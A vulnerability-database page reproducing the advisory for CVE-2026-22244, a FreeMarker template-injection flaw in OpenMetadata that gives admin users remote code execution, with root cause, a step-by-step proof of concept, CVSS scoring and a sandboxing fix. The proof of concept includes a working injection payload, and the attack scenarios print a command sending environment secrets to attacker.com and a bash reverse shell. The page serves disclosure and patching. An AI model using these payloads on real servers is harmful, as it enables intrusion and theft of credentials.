Loading...
Skip to main content

CVE-2026-22244 — Vulnerability in org.open-metadata:platform — CVE...

HIGH

OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE

Published January 7, 2026Updated August 31, 2026Source: osv

Summary

# OpenMetadata RCE Vulnerability - Proof of Concept ## Executive Summary **CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates. ## Credit - @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud ## Vulnerability Details ### 1. Root Cause File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Lines 35-45** contain unsafe FreeMarker template instantiation: ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS! } ``` **Missing Security Controls**: - ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation - ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection - ❌ No input validation - Template content not sanitized ### 2. Attack Vector (VERIFIED) **Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint ```bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer <admin_jwt_token> Content-Type: application/json-patch+json [ { "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>" } ] ``` **Step 2**: Malicious template stored in MySQL database: ```sql SELECT name, JSON_EXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change'; -- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>... ``` **Step 3**: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured) **Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`: ```java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER! ``` --- ## Exploit Verification ### Environment - **Version**: OpenMetadata 1.11.2 (Latest) - **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - **Test Date**: December 15, 2025 ### Step-by-Step Reproduction #### 1. Deploy OpenMetadata 1.11.2 ```bash cd docker ./run_local_docker.sh -m no-ui -d mysql ``` **Result**: ✅ OpenMetadata running on localhost:8585 #### 2. Obtain Admin JWT Token ```bash export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4) echo "Token: ${TOKEN:0:50}..." ``` **Result**: ✅ Token obtained (654 characters, 1-hour expiry) #### 3. Identify Target Template ```bash # Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id' ``` **Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb` #### 4. Inject RCE Payload ```bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]' ``` **Result**: ✅ **HTTP 200 OK** - Template modified successfully **Response Excerpt**: ```json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}", "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } } ``` #### 5. Setup SMTP Server ```bash # Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest # Update OpenMetadata SMTP configuration docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e "UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';" # Restart OpenMetadata to load new SMTP config docker restart om_server sleep 50 # Wait for server startup ``` **Result**: ✅ SMTP server ready at fakesmtp:1025 #### 6. Trigger RCE Execution ```bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}' ``` **Result**: ✅ **HTTP 200 OK** - "Test Email Sent Successfully." #### 7. Verify RCE Execution ```bash # Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10 ``` **Result**: ✅ **RCE CONFIRMED!** **Email Content**: ``` Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2> Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable RCE OUTPUT: openmetadata - /opt/openmetadata ``` **Command Execution Proof**: - ✅ `whoami` command executed → returned `openmetadata` - ✅ `pwd` command executed → returned `/opt/openmetadata` - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved --- ## Attack Scenarios ### Scenario 1: Privilege Escalation 1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into `password-reset` template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server ### Scenario 2: Data Exfiltration ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")} ``` Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials ### Scenario 3: Reverse Shell ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} ``` Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized) --- ## Impact Assessment ### Technical Impact - **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets - **Integrity**: **HIGH** - Full control over OpenMetadata application and data - **Availability**: **HIGH** - Ability to crash application, delete data, deny service ### Business Impact - **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage - **Compliance**: GDPR, SOC2, HIPAA violations if exploited - **Reputation**: Critical security failure in data governance platform - **Supply Chain**: Potential pivot to connected data sources (70+ connectors) ### CVSS 3.1 Score ``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H ``` - **Attack Vector (AV)**: Network (N) - **Attack Complexity (AC)**: Low (L) - Simple API requests - **Privileges Required (PR)**: High (H) - Admin role required - **User Interaction (UI)**: None (N) - **Scope (S)**: Changed (C) - Impacts beyond application (server OS) - **Confidentiality (C)**: High (H) - **Integrity (I)**: High (H) - **Availability (A)**: High (H) **Score**: **9.1 (CRITICAL)** --- ## Remediation ### Immediate Fix (CRITICAL) **File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Replace lines 38-42 with:** ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION_2_3_31); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ``` ---

Advisory Timeline

  • First published January 7, 2026 (278 days ago).
  • Last revised August 31, 2026 — 236 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update org.open-metadata:platform to 1.11.4 or later
<!-- Update pom.xml dependency version to 1.11.4 for org.open-metadata:platform -->

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: maven (1).

PackageEcosystemAffectedFixed In
org.open-metadata:platform
maven
1.10.0, 1.10.1, 1.10.10, 1.10.11 (+92 more)1.11.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-22244?
OpenMetadata's Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-22244?
CVE-2026-22244 affects org.open-metadata:platform. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-22244 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-5f29-2333-h9c7

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies